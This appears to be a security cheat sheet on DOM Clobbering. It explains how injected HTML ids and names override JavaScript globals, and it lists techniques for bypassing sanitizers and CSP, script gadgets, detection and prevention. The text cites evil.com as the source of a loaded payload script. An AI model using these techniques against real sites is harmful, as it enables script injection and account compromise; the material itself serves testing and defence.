DOM Clobbering¶
TL;DR¶
DOM Clobbering injects HTML with id or name attributes to override JavaScript global variables. Useful when HTML injection is possible but XSS is blocked (sanitizer, CSP).
The pattern window.x || {} is vulnerable.
How It Works¶
Vulnerable Pattern¶
var config = window.config || {};
let script = document.createElement('script');
script.src = config.url;
document.body.appendChild(script);
Attack¶
Why it works:
1. Two elements with same id → DOM groups them as HTMLCollection
2. window.config now points to this collection
3. name=url on second anchor clobbers config.url
4. Script loads from evil.com
Techniques¶
Basic: Double Anchor¶
→window.CONFIG.url = //evil.com/payload.js
Form + Input (Clobber attributes)¶
→ Bypasses filters that enumerateelement.attributes
Iframe Cross-Frame¶
→window.x.y accessible cross-frame
isDevelopment Bypass¶
toString Clobber¶
Advanced: Node Flattening¶
Browser limits nesting to 512 levels. Beyond that, elements flatten during serialization.
After innerHTML round-trip: element moves via foster parenting.
Use case: Clobber elements that must appear BEFORE the original in DOM.
CSP Bypass¶
Requirements¶
- HTML injection
- A gadget (clobberable JS property)
- Allowed sink (script with nonce + strict-dynamic)
Example¶
→ Clobbers property that ends up inscript.src
With Query String Trick¶
The? transforms original path into query string.
Script Gadgets¶
DOM Clobbering often triggers script gadgets — legitimate JS that can be reused for arbitrary execution.
| Type | Description |
|---|---|
| String manipulation | Bypass pattern-based filters |
| Element construction | Create script elements |
| Function creation | new Function(userInput) |
| JS execution sink | eval(), setTimeout() |
| Expression parsers | Angular {{...}} |
jQuery Mobile Gadget¶
jQuery writesid in HTML comment → breakout with --!>.
Detection¶
Burp DOM Invader¶
- Enable DOM Invader
- Enable "DOM clobbering detection"
- Reload page, check sinks
Manual Code Review¶
// Vulnerable patterns
window.x || {}
window.x || defaultValue
self.x || {}
globalThis.x || {}
document.x // Named elements accessible via document
Prevention¶
- Type check:
obj instanceof NamedNodeMap - Avoid
window.x || {}— use explicit checks - Use DOMPurify with anti-clobbering options
- Namespace variables — avoid globals
- Object.freeze() on sensitive configs
Real Examples¶
- PortSwigger Labs: CSP bypass via DOM clobbering
- Intigriti XSS July 2024: DOM Clobbering + base-uri abuse
- Intigriti 1337UP 2024: CSPT + DOM Clobbering chain